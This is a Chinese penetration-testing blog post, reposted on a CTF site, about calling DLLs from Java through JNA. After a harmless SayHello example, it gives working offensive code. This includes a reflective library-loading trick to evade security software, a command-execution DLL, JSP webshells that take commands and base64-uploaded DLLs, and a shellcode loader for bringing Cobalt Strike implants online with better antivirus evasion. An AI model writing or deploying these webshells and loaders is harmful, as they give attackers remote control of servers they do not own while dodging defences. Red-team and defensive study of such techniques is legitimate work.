JNA 调用动态链接库学习

渗透技巧 11个月前 admin

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前言

听说哥斯拉利用JNA技术实现了内存加载exe、执行命令等操作，特来学习一下。

JNA 基础知识

JNA全称：Java Native Access，是建立在JNI（Java Native Interface）技术之上的Java开源框架，JNA提供了一组Java工具类用于在运行期间动态访问的系统本地库。

简单理解就是：JNA提供了一个”桥梁”，可以利用Java代码直接访问动态链接库中的函数。

调用JNI接口

调用JNI接口的步骤为：

•创建工程，将dll文件放到工程下•引入JNA相关的jar包•创建继承自Library类的接口•接口中创建对象用于加载DLL/SO的类库•接口中声明DLL/SO类库头文件中暴露的方法•调用该方法

编译DLL

以windows为例，使用Visual Studio 创建一个动态链接库的工程，并定义一个头文件testdll.h和源文件testdll.cpp。

简单实现一个SayHello的方法创建testdll.cpp，作用是用来实现被声明的函数。

#include "pch.h"#include "testdll.h"
void SayHello(){    std::cout << "Hello！你成功了！" << std::endl;}

创建testdll.h头文件，作用是用来声明需要导出的函数接口

#pragma once#include <iostream>
extern "C" __declspec(dllexport) void SayHello();//声明一个可被调用的函数“SayHello()”，它的返回类型是void。//extern "C"的作用是告诉编译器将被它修饰的代码按C语言的方式进行编译//__declspec(dllexport)，此修饰符告诉编译器和链接器被它修饰的函数或变量需要从DLL导出

而后编译出dll。

注意：要DLL位数要与JDK位数相同，否则无法调用。

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导入JAR包

首先创建java工程，可以是普通项目也可以是maven功能。

maven 需要导入依赖

<dependency>  <groupId>net.java.dev.jna</groupId>  <artifactId>jna</artifactId>  <version>5.13.0</version></dependency><dependency>  <groupId>net.java.dev.jna</groupId>  <artifactId>jna-platform</artifactId>  <version>5.13.0</version></dependency>

普通工程可以在 https://github.com/java-native-access/jna 下载jna jar包和platform jar包并导入。

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调用DLL

我们需要继承Library类接口，调用Native类的load方法将我们的testdll.dll加载进来并转换为本地库，而后声明SayHello方法。

public interface Mydll extends Library {
    Mydll mydll = (Mydll)Native.load("testdll",Mydll.class);    void SayHello();}

调用时不需要链接库的后缀，会自动加上。声明SayHello方法时，结合testdll.h头文件，没有返回值为void，也没有需要的数据类型。（需要的话可查找JNA 数据类型对应关系）

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然后在主方法里调用SayHello方法

public static void main(String[] args) {    Mydll.mydll.SayHello();}

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可以看到成功调用了testdll.dll的SayHello方法。

加载动态链接库

在上面的代码中，我们直接利用Native.load将dll转换为本地库，在此之前缺少了加载这一步。

常见的加载动态链接库有三种方法：

•System.load / System.loadLibrary•Runtime.getRuntime().load / Runtime.getRuntime().loadLibrary•com.sun.glass.utils.NativeLibLoader.loadLibrary

在使用时也有一些区别：load接收的是系统的绝对路径，loadLibrary接收的是相对路径。但实际利用过程中肯定是绝对路径优先于相对路径。

以Runtime.getRuntime().load为例：

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但实际利用可能会被安全软件捕捉。我们反射调用loadLibrary方法。

代码来自Java加载动态链接库^[1] 这篇文章

try {    Class clazz = Class.forName("java.lang.ClassLoader");    java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);    method.setAccessible(true);    method.invoke(null, clazz, "C:\Users\cseroad\source\repos\testdll\x64\Release\testdll.dll", true);    Mydll mydll = (Mydll)Native.load("testdll",Mydll.class);    mydll.SayHello();}catch (Exception e){    e.printStackTrace();}

场景利用

现在我们想一下具体场景的利用，在此基础上调整我们的代码。

webshell

既然jna加载动态链接库后转换为本地库，可以调用dll的任意方法，那实现一个命令执行应该也是可以的。

#include "pch.h"#include "command.h"
#include <cstdlib>#include <string>
void executeCommand(const char* command) {    char psBuffer[128];    FILE* pPipe;
    if ((pPipe = _popen(command, "r")) == NULL)    {        exit(1);    }
    while (fgets(psBuffer, 128, pPipe))    {        puts(psBuffer);    }
    int endOfFileVal = feof(pPipe);    int closeReturnVal = _pclose(pPipe);
    if (endOfFileVal)    {        printf("nProcess returned %dn", closeReturnVal);    }    else    {        printf("Error: Failed to read the pipe to the end.n");    }}

相应的头文件

#pragma once#include <iostream>
extern "C" __declspec(dllexport) void executeCommand(const char* command);

java代码加载并调用。

import com.sun.jna.Library;import com.sun.jna.Native;
public class test {
    public interface Mydll extends Library {        void executeCommand(String command);    }    public static void main(String[] args) {        try {            Class clazz = Class.forName("java.lang.ClassLoader");            java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);            method.setAccessible(true);            method.invoke(null, clazz, "C:\Users\cseroad\source\repos\testdll\x64\Release\testdll.dll", true);            Mydll mydll = (Mydll)Native.load("testdll",Mydll.class);            mydll.executeCommand("ipconfig");        }catch (Exception e){            e.printStackTrace();        }
    }
}

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成功实现。结合实际利用我们还需要优化一下代码，改成jsp脚本文件。因为com.sun.jna包是第三方包，在实际利用肯定没有。

所以这里选择将自己写的代码和jna.jar一块用maven打包为maven02-1.0-SNAPSHOT-jar-with-dependencies.jar试试。

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再把test类名修改为show，把dll动态链接库和将要执行的命令作为参数传递进去。现在还差一个加载外部的jar包并调用方法的jsp脚本文件。

<%@ page import="java.lang.reflect.Method" %><%@ page import="java.net.URL" %><%@ page import="java.net.URLClassLoader" %>

<%    String path = "file:E:\apache-tomcat-7.0.107\webapps\test\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";    URLClassLoader urlClassLoader =null;    Class<?> MyTest = null;    //通过URLClassLoader加载外部jar    urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});    //获取外部jar里面的具体类对象    MyTest = urlClassLoader.loadClass("com.jna.jnatest");    //创建对象实例    Object instance = MyTest.newInstance();    //获取实例当中的方法名为show    Method method = MyTest.getMethod("show", String.class,String.class);    //传入实例以及方法参数信息执行这个方法    Object ada = method.invoke(instance, "C:\Users\cseroad\source\repos\testdll\x64\Release\testdll.dll","whoami");%>

这样用的时候需要向目标服务器手动上传两个文件，jar包和dll文件。我们再进一步优化一下。

<%@ page import="java.lang.reflect.Method" %><%@ page import="java.net.URLClassLoader" %><%@ page import="java.net.URL" %>
<%!
    private String getFileName(){        String fileName = "";        java.util.Random random = new java.util.Random(System.currentTimeMillis());        String os = System.getProperty("os.name").toLowerCase();        if (os.contains("windows")){            fileName = "C:\Windows\Temp\" + random.nextInt(10000000) + ".dll";        }else {            fileName = "/tmp/"+ random.nextInt(10000000) + ".so";        }        return fileName;    }

    public String UploadBase64DLL(String base64) throws Exception {        sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();        java.io.File file = new java.io.File(getFileName());        java.io.FileOutputStream fos = new java.io.FileOutputStream(file);        fos.write(b.decodeBuffer(base64));        fos.close();        return file.getAbsolutePath();    }%><%    try{        String cmd = request.getParameter("cmd");        String base64 = request.getParameter("base64");        String file =  UploadBase64DLL(base64);        String path = "file:E:\apache-tomcat-7.0.107\webapps\test\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";        //通过URLClassLoader加载外部jar        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});        //获取外部jar里面的具体类对象        Class<?> MyTest = urlClassLoader.loadClass("com.jna.jnatest");        //创建对象实例        Object instance = MyTest.newInstance();        //获取实例当中的方法名为show，参数只有一个且类型为string的public方法        Method method = MyTest.getMethod("show", String.class,String.class);        //传入实例以及方法参数信息执行这个方法        Object ada = method.invoke(instance, file,cmd);

    }    catch (Exception e){        out.println(e);    }
%>

现在只需要手动上传一个jar包就可以，dll通过base64编码上传上去。这样参数值就是base64编码之后的dll和cmd要执行的系统命令。

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唯一的缺点就是不能在前端显示，或许将代码加入到冰蝎可以实现？

shellcode

既然前端无法获取结果，那直接加载shellcode上线cs呢？我们利用同样的方式写出加载shellcode的代码。 shellcode.cpp

#include "shellcode.h"#include <iostream>

using namespace std;
void shellcode(PCHAR code, DWORD buf_len) {
    cout << buf_len << endl;    DWORD oldprotect = 0;    LPVOID  base_addr = NULL;    //  申请一块buf_len长度大小的空间，RW权限，不要开rwx，PAGE_EXECUTE_READWRITE     base_addr = VirtualAlloc(0, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);    // 复制shellcode到新的空间，这个函数比较罕见，用memcpy也可以呀    unsigned char HexNumArray[4096];    int num = HexStr2HexNum(code, buf_len, HexNumArray);    RtlMoveMemory(base_addr, HexNumArray, buf_len);    // 修改为执行RX权限    VirtualProtect(base_addr, buf_len, PAGE_EXECUTE_READ, &oldprotect);    cout << "starting spawn shellcode" << endl;    // 当前进程创建线程执行shellcode    auto ct = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)base_addr, 0, 0, 0);    // 等待线程返回值    WaitForSingleObject(ct, -1);    // 释放内存    free(base_addr);}
int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray){    int j = 0;    for (int i = 0; i < len; i += 2)    {        if (HexStrArray[i] == 0x5C || HexStrArray[i] == 0x58 || HexStrArray[i] == 0x78)        {            continue;        }        char HIGH_BYTE = 0;        char LOW_BYTE = 0;        //high 4        if (HexStrArray[i] >= 0x30 && HexStrArray[i] <= 0x3A)        {            HIGH_BYTE = HexStrArray[i] - 0x30;        }        else if (HexStrArray[i] >= 0x41 && HexStrArray[i] <= 0x47)        {            HIGH_BYTE = HexStrArray[i] - 0x37;        }        else if (HexStrArray[i] >= 0x61 && HexStrArray[i] <= 0x67)        {            HIGH_BYTE = HexStrArray[i] - 0x57;        }        else        {            printf("Please make sure the format of Hex String is correct!rn");            printf("The wrong char is "%c", and its number is % drn", HexStrArray[i], i);            return -1;        }
        //low 4        if (HexStrArray[i + 1] >= 0x30 && HexStrArray[i + 1] <= 0x3A)        {            LOW_BYTE = HexStrArray[i + 1] - 0x30;        }        else if (HexStrArray[i + 1] >= 0x41 && HexStrArray[i + 1] <= 0x47)        {            LOW_BYTE = HexStrArray[i + 1] - 0x37;        }        else if (HexStrArray[i + 1] >= 0x61 && HexStrArray[i + 1] <= 0x67)        {            LOW_BYTE = HexStrArray[i + 1] - 0x57;        }        else        {            printf("Please make sure the format of Hex String is correct!rn");            printf("The wrong char is "%c", and its number is % drn", HexStrArray[i], i);            return -1;        }
        HexNumArray[j] &= 0x0F;        HexNumArray[j] |= (HIGH_BYTE << 4);        HexNumArray[j] &= 0xF0;        HexNumArray[j] |= LOW_BYTE;        j++;    }    return 0;}

shellcode.h

#pragma once#include <Windows.h>

extern "C" __declspec(dllexport) BOOL shellcode(PCHAR code, DWORD size);int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray);

在java里加载并调用，传入shellcode和长度。以达到更好的免杀性。


import java.util.Base64;import com.sun.jna.Library;import com.sun.jna.Native;

public class test {
    public interface Mydll extends Library {        void shellcode(byte[] b,int length);    }
    public static void show(String base64,String dllpath,String dllname) {        try {            Class clazz = Class.forName("java.lang.ClassLoader");            java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);            method.setAccessible(true);            method.invoke(null, clazz, dllpath, true);            Mydll mydll = (Mydll)Native.load(dllname,Mydll.class);            byte[] base64decodedBytes = java.util.Base64.getDecoder().decode(base64);            int leng = base64decodedBytes.length;            mydll.shellcode(base64decodedBytes,leng);        }catch (Exception e){            e.printStackTrace();        }    }
    public static void main(String[] args) {        String base64encodedString = "XHhmY1x4NDhxxxxxxxxxxxxxxx";        show(base64encodedString,"C:\Windows\Temp\jna.dll","jna");    }}

此时只需要将shellcode值base64编码当做字符传递即可。测试一下

JNA 调用动态链接库学习

可以看到正常上线，进程为javaw.exe。那在实际环境中同样不能这样利用。依旧把java代码打包为jar包，再修改一下jsp脚本文件应该就可以在实际运行了。

<%@ page import="java.lang.reflect.Method" %><%@ page import="java.net.URLClassLoader" %><%@ page import="java.net.URL" %>
<%!
    private String getFileName(String dllname){        String fileName = "";        String os = System.getProperty("os.name").toLowerCase();        if (os.contains("windows")){            fileName = "C:\Windows\Temp\" + dllname + ".dll";        }else {            fileName = "/tmp/"+ dllname + ".so";        }        return fileName;    }

    public String UploadBase64DLL(String base64,String dllname) throws Exception {        sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();        java.io.File file = new java.io.File(getFileName(dllname));        java.io.FileOutputStream fos = new java.io.FileOutputStream(file);        fos.write(b.decodeBuffer(base64));        fos.close();        return file.getAbsolutePath();    }%><%    try{
        String shellcode = request.getParameter("shellcode");        String base64dll = request.getParameter("base64dll");        String dllname = request.getParameter("dllname");        String pathdll = UploadBase64DLL(base64dll,dllname);        String path = "file:E:\apache-tomcat-7.0.107\webapps\test\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});        Class<?> MyTest = urlClassLoader.loadClass("com.jna.jnatest");        Object instance = MyTest.newInstance();        Method method = MyTest.getMethod("show", String.class,String.class,String.class);        Object ada = method.invoke(instance,shellcode, pathdll,dllname);
    }    catch (Exception e){        out.println(e);    }
%>

以tomcat为例，shellcode 即将cobaltstrike的shellcode进行base64编码，base64dll 是base64编码dll动态链接库之后的值，dllname即是dll动态链接库的名称。测试可以正常上线执行命令。上线进程为java.exe。

JNA 调用动态链接库学习

总结

在学习JNA调用动态链接库的时候，借鉴了很多师傅的思路，但无奈赶不上师傅们的高度，只能用稍微复杂点的办法完善自己的代码，来曲折得实现效果。如果简单高效的利用还是选择哥斯拉或者倾旋师傅的j2osWin^[2]

参考资料

https://www.bilibili.com/video/BV16t411A7it/?spm_id_from=333.337.search-card.all.click&vd_source=0627d2723fb97773126096556cc98e0d https://www.cnblogs.com/happyhuangjinjin/p/17219986.html https://tttang.com/archive/1436/ https://payloads.online/archivers/2022-08-11/1/

References

[1] Java加载动态链接库: https://tttang.com/archive/1436/
[2] j2osWin: https://github.com/Rvn0xsy/j2osWin

原文始发于微信公众号（Wings安全团队）：JNA 调用动态链接库学习

版权声明：admin 发表于 2023年6月12日下午5:31。
转载请注明：JNA 调用动态链接库学习 | CTF导航

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JNA 调用动态链接库学习

前言

JNA 基础知识

调用JNI接口

编译DLL

导入JAR包

调用DLL

加载动态链接库

场景利用

webshell

shellcode

总结

参考资料

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九维团队-绿队（改进）| AJ-Report_RCE

精准型消息断点

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